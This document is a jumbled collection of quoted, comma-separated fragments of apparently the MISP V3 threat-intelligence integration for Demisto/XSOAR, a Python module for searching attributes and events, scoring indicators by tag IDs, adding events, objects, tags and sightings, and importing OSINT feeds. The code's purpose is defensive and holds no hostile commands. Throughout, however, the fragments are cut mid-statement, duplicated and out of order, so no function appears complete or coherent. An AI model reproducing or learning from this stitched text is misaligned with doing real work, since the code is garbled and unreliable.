GLOBALS/PARAMS ''' params","1 if demisto_args.get('include_decay_score') == 'true' else 0 if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] =","shared by the events found_tag_id = event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return { 'Attribute","= prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level)","PyMISPError as e: return_error(e.message) except Exception as e: return_error(str(e)) if __name__ in ['__main__',","return attribute_instance def update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args,","operators. using the operators is optional. if 'demisto_query' does not contains any of","MISP update attribute\\nAttribute: {attribute_uuid} was updated.\\n\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data =","is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag := tag) in event_tags_ids for tag","return related_events def get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID') return","are valid positive integers.\"\"\" for tag in tag_ids: try: tag = int(tag) if","an attribute's one. Otherwise it's event's. \"\"\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag')","= Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\"No results were found in MISP\") indicator =","(dict): Demisto args new_event (MISPEvent): When this function was called from create event","return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Attribute\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No attributes found","def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) -> MISPAttribute: attribute_type = demisto_args.get('type') distribution = demisto_args.get('distribution')","outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args: dict): \"\"\"Adds sighting to MISP attribute \"\"\" attribute_id","attribute.get('Sighting'): attribute['Sighting'] = [ {'type': sighting.get('type') } for sighting in attribute.get('Sighting') ] def","add_sighting(demisto_args: dict): \"\"\"Adds sighting to MISP attribute \"\"\" attribute_id = demisto_args.get('id') attribute_uuid =","suspicious reliability (DBotScoreReliability): integration reliability score. attributes_limit (int) : Limits the number of","= requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object","Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with the scored tag': events_to_human_readable, 'Scored Tag ID':","event search returned from MISP to the context output format. please note: attributes","else: return CommandResults(readable_output=f\"No events found in MISP for the given filters: {args}\") def","calculates it's dbot score. The score is calculated by the tags ids (attribute","id, threat level id) about all the events that include the indicator Please","attribute_tags = [tag.get('Name') for tag in attribute.get('Tag')] if attribute.get( 'Tag') else None attribute_sightings","import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator import copy","{limit}\\n\" if len(response_for_context) == limit: pagination_message += f\"Showing page {page} out others that","as malicious or suspicious. event_name (str): Name of the event \"\"\" related_events =","== 'url': return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command ==","to True, will not post results to Demisto demisto_args (dict): Demisto args new_event","command == 'file': return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command","for attribute in attributes_list: attribute.pop(\"RelatedAttribute\") # get rid of this useless list event","score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(), set() found_related_events = {}","misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args = [ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text':","'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS = [ 'id', 'orgc_id', 'org_id', 'date',","attributes and Events that: * have tags which configured as malicious will be","raise DemistoException(f\"Error: The given IP address: {value} is not valid\") if dbot_type ==","tag <= 0: raise DemistoException(f\"Tag id has to be a positive integer, please","misp_attributes_args: non_req_args = [ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment')","if hash_format == 'Unknown': raise DemistoException('Invalid hash length, enter file hash of format","attribute_highlights = [] for attribute in response: event = attribute.get('Event', {}) attribute_tags =","url def add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies: dict): \"\"\"Gets an OSINT feed from","is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator or is_complex_or_operator or is_complex_not_operator if","domain object to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \"\"\" text = demisto_args.get('text') event_id =","{value} was added to event id {new_event.id}.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event),","attributes\", response_for_context[:number_of_results], [\"Value\"]) else: response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message =","list: \"\"\"returns list of attributes' values that match the search query when user","= PREDEFINED_FEEDS[url].get('url') # type: ignore return url def add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies:","new MISP event object and set the event's details. \"\"\" event = MISPEvent()","g_object) def add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id') template = demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\"'\",","= first_seen if last_seen: attribute_instance.last_seen = last_seen return attribute_instance def update_attribute_command(demisto_args: dict) ->","{args}\") def build_events_search_response(response: Union[dict, requests.Response]) -> dict: \"\"\" Convert the response of event","} SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting', '1': 'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE =","in MISP. please check it once again\") new_event = response[0] # response[0] is","for i in range(0, len(events)): # Filter object from keys in event_args events[i]","\"\"\"Adding attribute to a given MISP event object This function can be called","attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\"## MISP update","convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)} for arg in args_names if demisto_args.get(arg)] def","event_object.get('description'), 'id': event_object.get('id') } for event_object in event['Object'] ] def build_tag_output(given_object): \"\"\"given_object is","positive number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok' else: raise DemistoException('MISP","was found, then the score is Unknown so no events should be found.","go over all the tags and search if found_tag is one of it's","events_ids = list() # type: List[Dict[str, int]] for index, uri in enumerate(uri_list, 1):","= MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis')","response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok' else: raise DemistoException('MISP has not","== \"IP\": return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type == \"DOMAIN\": return Common.Domain(domain=value, dbot_score=dbot_score) if","was not found in MISP. please check it once again\") new_event = response[0]","in range(len(related_events)): if related_events[i] not in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def","{value} is not valid\") if dbot_type == 'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise","the score is Unknown so no events should be found. Returns: list includes","demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B - Usually","to get that score found_related_events (dict): contains info (name, id, threat level id)","attributes amount, we sort the attributes list by the event ids as the","[replace_keys_from_misp_to_context_data(item) for item in obj_to_build] if isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key","section Returns: List[Dict[str, any]]: filtered response \"\"\" return [{ 'code': err[0], 'message': err[1].get('message'),","the attributes that found (after limit the attributes amount to the given limit)","if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag # no tag was found if is_attribute_in_event_with_bad_threat_level: return","\"\"\" found_tag = None is_attribute_tag_malicious = any((found_tag := tag) in attribute_tags_ids for tag","if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag := tag) in event_tags_ids for","return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type == \"DOMAIN\": return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type ==","has been deleted' return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will","== 'misp-delete-event': return_results(delete_event(args)) elif command == 'misp-add-sighting': return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event': return_results(add_tag(args))","for ip in ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args = [ 'first_seen', 'last_seen',","True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag']","the given attribute value in MISP and then calculates it's dbot score. The","if 'event_id' in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] =","a domain object to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \"\"\" text = demisto_args.get('text') event_id","called function\"\"\" if given_object.get('Galaxy'): given_object['Galaxy'] = [ { 'name': star.get('name'), 'type': star.get('type'), 'description':","attribute.get('Event', {}) attribute_tags = [tag.get('Name') for tag in attribute.get('Tag')] if attribute.get( 'Tag') else","'Info', 'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail',","return [replace_keys_from_misp_to_context_data(item) for item in obj_to_build] if isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if","Gets 2 sets which include tag ids. If there is an id that","= 1 if demisto_args.get('include_correlations') == 'true' else 0 if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist']","In any other case, we won't add the tag. Args: attribute_dict (dict): The","a positive number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok' else: raise","if 'errors' in response: raise DemistoException(f'Error in `{demisto.command()}` command: {response}') for ref in","event\\nNew event with ID: {event_id} has been successfully created.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event',","function searches for all the events that have the tag (i.e found_tag) which","= any((found_tag := tag) in event_tags_ids for tag in suspicious_tag_ids) if is_event_tag_suspicious: return","raw_response=response ) def remove_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will remove tag to given","= demisto_args.get('distribution') category = demisto_args.get('category') comment = demisto_args.get('comment') value = demisto_args.get('value') first_seen =","is Unknown so no events should be found. Returns: list includes all the","this function parses the response. This function goes over all the attributes that","= controller demisto.debug(f\"[MISP V3]: args for {demisto.command()} command are {args_to_misp_format}\") return args_to_misp_format def","to add it to tag_set_ids. In any other case, we won't add the","Name of the event \"\"\" related_events = [] object_tags_list = object_data_dict.get('Tag', []) for","event_object in event['Object'] ] def build_tag_output(given_object): \"\"\"given_object is attribute or event, depends on","== \"EMAIL\": return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type == \"URL\": return Common.URL(url=value, dbot_score=dbot_score) def","'misp-add-url-object': return_results(add_url_object(args)) elif command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif command == 'misp-add-object': return_results(add_generic_object_command(args)) elif","query when user set the arg 'compact' to True\"\"\" if isinstance(response_object, str): response_object","last_seen: attribute_instance.last_seen = last_seen return attribute_instance def update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid =","{pagination_message}\", attribute_highlights, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Attribute\", outputs_key_field=\"ID\" ) else: return","event.get('Galaxy', []) if event_galaxies: return [galaxy.get('Name') for galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects","url_obj = [{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else None url_obj.append({'resource_path': url_parse.path}) if","\"\"\" Args: template_name: template name as described in https://github.com/MISP/misp-objects args: arguments to create","= PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully added to event {uuid}'","THREAT_LEVELS_TO_ID = { 'High': 1, 'Medium': 2, 'Low': 3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA","new_event = get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True) if isinstance(new_event, dict) and new_event.get('errors'): raise","import FileObject from CommonServerPython import * logging.getLogger(\"pymisp\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \"SSLError\" in error:","MISP to the context output format. \"\"\" response_object = copy.deepcopy(response) if include_correlations: #","results. \"\"\" reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True,","with feeds for example: https://www.misp-project.org/feeds/ feed format must be MISP. \"\"\" headers =","event['Threat Level ID'] in bad_threat_level_ids: return True return False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids,","'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID',","isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\"## MISP update attribute\\nAttribute: {attribute_uuid}","attribute_tags_ids for tag in suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag","{ 'initial': 0, 'ongoing': 1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0,","demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return add_object(event_id, obj) def add_domain_object(demisto_args: dict): \"\"\"Adds a domain","# converting args to MISP's arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips =","was occurred: {response.get('message')}\") elif response.get('Sighting'): human_readable = f'Sighting \\'{sighting_type}\\' has been successfully added","list and limits the tags and galaxies lists. Eventually, the outputs will be","not contains any of the complex operators the original input will be returned","from error section Returns: List[Dict[str, any]]: filtered response \"\"\" return [{ 'code': err[0],","event): if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp'))","if dbot_type == 'URL': if not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given url:","reliability=reliability, malicious_description=\"Match found in MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value) all_attributes = outputs.get('Attribute')","'id': attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response =","attributes_list: attribute.pop(\"RelatedAttribute\") # get rid of this useless list event = attribute.get('Event') convert_timestamp_to_readable(attribute,","in suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag := tag) in","is_complex_search = is_complex_and_operator or is_complex_or_operator or is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query","from the suspicious tag ids set and will be stayed only in the","'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event', 'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting', ]","other case, we won't add the tag. Args: attribute_dict (dict): The dictionary that","will be used only in output hash_format = get_hash_type(value) if hash_format == 'Unknown':","args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last'","\"SSLError\" in error: return_error('Unable to connect to MISP because of a SSLCertVerificationError, '","found_tag_name = event.pop('Tag_Name') return { 'Attribute Type': outputs[0].get('Type'), 'Dbot Score': score, 'Attribute Value':","Union, List, Dict from urllib.parse import urlparse import urllib3 from pymisp import ExpandedPyMISP,","command == 'misp-add-file-object': return_results(add_file_object(args)) elif command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif command == 'misp-add-url-object':","PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\"## MISP","event id 'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment':","'domain', 'hostname', 'ip_src', 'ip_dst' ] # converting args to MISP's arguments types misp_attributes_args","event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids","presents. command {demisto.command()} requires one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \"\"\" Gets 2","pass # Disable requests warnings urllib3.disable_warnings() # Disable python warnings warnings.warn = warn","'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID = { 'High': 1, 'Medium': 2, 'Low': 3,","says that it is an event's tag. Otherwise (if it is set to","None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object): \"\"\"given_object is attribute or event,","add to MISP event_id: ID of event \"\"\" response = PYMISP.add_object(event_id, misp_object=obj) if","JSON\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)} for arg in","value: attribute_instance.value = value if comment: attribute_instance.comment = comment if first_seen: attribute_instance.first_seen =","hash_type == 'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if hash_type == 'sha256': return Common.File(dbot_score=dbot_score, sha256=value)","demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS if arg in demisto_args} # Replacing keys and","if internal: return value = attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable =","'dst_port', 'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst' ] # converting args to MISP's arguments","else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')] if attribute.get('Sighting') else None","= MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category = category if value: attribute_instance.value = value if","found_tag is_event_tag_suspicious = any((found_tag := tag) in event_tags_ids for tag in suspicious_tag_ids) if","list. found_tag (str): The tag that was scored as malicious or suspicious. event_name","(str): The tag that was scored as malicious or suspicious. If no tag","Union[dict, list, str]: \"\"\" Replacing keys from MISP's format to Demisto's (as appear","for tag in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] = [ {'type':","except PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL': {'name': 'CIRCL OSINT Feed',","attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event Organization ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event UUID':","in MISP scheme Scheme described https://www.misp-project.org/objects.html#_url \"\"\" url_args = [ 'text', 'last_seen', 'first_seen'","there is an id that exists in both sets, it will be removed","it. \"\"\" event_id = demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if 'errors' in response: raise","main(): params = demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability',","list containing dicts that GenericObjectGenerator can take. Examples: >>> {'ip': '8.8.8.8', 'domain': 'google.com'}","] ATTRIBUTE_FIELDS = [ 'id', 'event_id', 'object_id', 'object_relation', 'category', 'type', 'to_ids', 'uuid', 'timestamp',","'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value':","an event object, meaning the tags are event's ones. Otherwise, the data is","command: {response}') for ref in obj.ObjectReference: response = PYMISP.add_object_reference(ref) for attribute in response.get('Object',","dict() match_and = re.search(regex_and, demisto_query, re.MULTILINE) match_or = re.search(regex_or, demisto_query, re.MULTILINE) match_not =","tag (id) which made the indicator to get that score found_related_events (dict): contains","in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list: \"\"\"returns list of attributes'","'Sighting', ] def extract_error(error: list) -> List[dict]: \"\"\" Extracting errors raised by PYMISP","OSINT feed from url and publishing them to MISP urls with feeds for","more information please see build_complex_query in pymisp/api.py Args: demisto_query: complex query contains saved","the tag is only related to an attribute we would like to add","except ValueError as e: raise DemistoException( f'`attribute` parameter could not be decoded, may","(MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for key, value in obj_to_build.items()","= demisto_args.get('tag') try: response = PYMISP.untag(uuid, tag) if response and response.get('errors'): raise DemistoException(f'Error","attribute_instance def update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid)","IP address: {value} is not valid\") if dbot_type == 'DOMAIN': if not re.compile(DOMAIN_REGEX,","from search-events output as the information is too big. User can use the","tags). Args: value (str): The indicator value (an IP address, email address, domain,","def main(): params = demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability =","Common.DBotScore.NONE, None def get_new_misp_event_object(args): \"\"\" Create a new MISP event object and set","Args: attribute_dict (dict): The dictionary that includes the tag list. is_event_level (bool): Whether","the tags ids (attribute tags and event tags). Args: value (str): The indicator","of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \"\"\" Gets 2 sets which include tag ids.","{'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line \"\"\"","to MISP because of a SSLCertVerificationError, ' 'Please try to use the Trust","attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute Tags': attribute_tags,","= 1 if demisto_args.get('to_ids') == 'true' else 0 if 'from' in args_to_misp_format: args_to_misp_format['date_from']","f\"## MISP update attribute\\nAttribute: {attribute_uuid} was updated.\\n\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data","events was added to MISP.', events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, )","(dict): Event or attribute dict which includes tags list. found_tag (str): The tag","argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id = event_id if event_id else","URL are correct\" in error: return_error('Unable to connect to MISP, ' 'Please make","if tag.get('ID') == found_tag: event_id = get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name':","\"\"\" Convert the response of event search returned from MISP to the context","raw_response=response) def add_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will add tag to given UUID","add_url_object(demisto_args: dict): \"\"\"Building url object in MISP scheme Scheme described https://www.misp-project.org/objects.html#_url \"\"\" url_args","event_galaxies, 'Event Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event Org ID':","return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'url': return_results(","list, str]): object to replace keys in Returns: Union[dict, list, str]: same object","event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args: dict,","be decoded, may not a valid JSON\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return","in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get( 'include_feed_correlations') == 'true' else 0 args_to_misp_format.pop('include_feed_correlations')","error: list of responses from error section Returns: List[Dict[str, any]]: filtered response \"\"\"","type: ignore return url def add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies: dict): \"\"\"Gets an","build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md = tableToMarkdown(f\"MISP search-attributes returned {number_of_results} attributes\", response_for_context[:number_of_results], [\"Value\"])","malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" After getting all the attributes which match the required","= demisto_args.get('event_id') ip_object_args = [ 'dst_port', 'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst' ] #","feed. error: {e}') def add_object(event_id: str, obj: MISPObject): \"\"\"Sending object to MISP and","ids (each one is str), and verify all the tags are valid positive","threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis =","uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: response = PYMISP.untag(uuid, tag) if response","event id and deletes it. \"\"\" event_id = demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if","outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def main(): params = demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids","which match the required indicator value, this function parses the response. This function","4 = Unknown. note: - In case the same tag appears in both","tag exist.\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has","'text', 'last_seen', 'first_seen' ] event_id = demisto_args.get('event_id') url = demisto_args.get('url') url_parse = urlparse(url)","event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'), 'Event Tags': event_tags, 'Event Galaxies': event_galaxies,","into a list, please see GenericObjectGenerator Class in Pymisp. Args: args: dictionary describes","Args: args: dictionary describes MISP object Returns: list: list containing dicts that GenericObjectGenerator","removing those fields as they are shared by the events found_tag_id = event.pop('Tag_ID')","(file, url, domain, email or ip). malicious_tag_ids (set): Tag ids should be recognised","for attribute in attributes] def pagination_args_validation(page, limit): if page and page < 0:","formatted_attributes def build_galaxy_output(given_object): \"\"\"given_object is attribute or event, depends on the called function\"\"\"","an OSINT feed from url and publishing them to MISP urls with feeds","level id. In such case, the score will be BAD if the threat","if not new_event: response = PYMISP.search(eventid=event_id, pythonify=True) if not response: raise DemistoException( f\"Error:","a positive integer, please change the given: '{tag}' id.\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid:","'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id = event_id if event_id","\"\"\"given_object is attribute or event, depends on the called function\"\"\" if given_object.get('Tag'): given_object['Tag']","uri in enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event = MISPEvent()","list, str]) -> Union[dict, list, str]: \"\"\" Replacing keys from MISP's format to","is not valid\") def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \"\"\" This function","outputs to context data (array of attributes). score: the indicator score found_tag: the","and converts it to human readable format \"\"\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else","event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] =","in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response)","demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator","= [ 'id', 'orgc_id', 'org_id', 'date', 'threat_level_id', 'info', 'published', 'uuid', 'analysis', 'attribute_count', 'timestamp',","the 'event' controller. \"\"\" args = prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1), 